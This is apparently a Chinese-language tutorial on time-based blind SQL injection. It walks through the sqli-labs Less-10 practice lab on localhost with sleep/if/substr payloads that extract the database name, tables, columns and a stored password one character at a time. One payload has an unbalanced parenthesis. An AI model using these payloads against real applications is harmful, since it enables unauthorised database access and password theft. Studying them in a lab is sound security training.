时间盲注的条件
之前已经学习过了布尔盲注,其实时间盲注和布尔盲注基本上一样,只不过布尔盲注有回显,而时间盲注没有,其实时间盲注可以解决多种方法的盲注问题。
学习时间盲注需要用到的函数
sleep()/延迟函数
if(condition,true,false)//若条件为真 执行true,若条件为假 执行false
substring("string",strart,length)
时间盲注的实例
在这里就用sqli-labs的第10关讲一下
首先判断注入点
输入代码
http://localhost/sqli-labs-master/Less-10/?id=1" and sleep(10) --+
发现会延迟10秒出现结果,说明注入点时"。
判断数据库长度
http://localhost/sqli-labs-master/Less-10/?id=1" and if(length(database())>5,1,sleep(10))--+
接着爆出数据库名
http://localhost/sqli-labs-master/Less-10/?id=1" and if((ascii(substr(database(),1,1)))>120,1,sleep(10))--+
接着就更改1的值来爆出来名字。
爆表名
http://localhost/sqli-labs-master/Less-10/?id=1" and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>120,1,sleep(10))--+
和上面的一样,更改limit 0,1的值来爆出来名字。
和布尔盲注相比就是多了一个if的函数,其他的基本一样。
爆字段
http://localhost/sqli-labs-master/Less-10/?id=1" and if((ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))))>100,1,sleep(10))--+
爆值
http://localhost/sqli-labs-master/Less-10/?id=1" and if((ascii(substr(( select password from users limit 0,1),1,1)))>1,1,sleep(10))--+
到这里就爆出来了,可以用脚本来进行爆破,由于技术原因就不展示了。
奈何本人技术差,一纯手工注入走天下,将来进行脚本学习再补回来。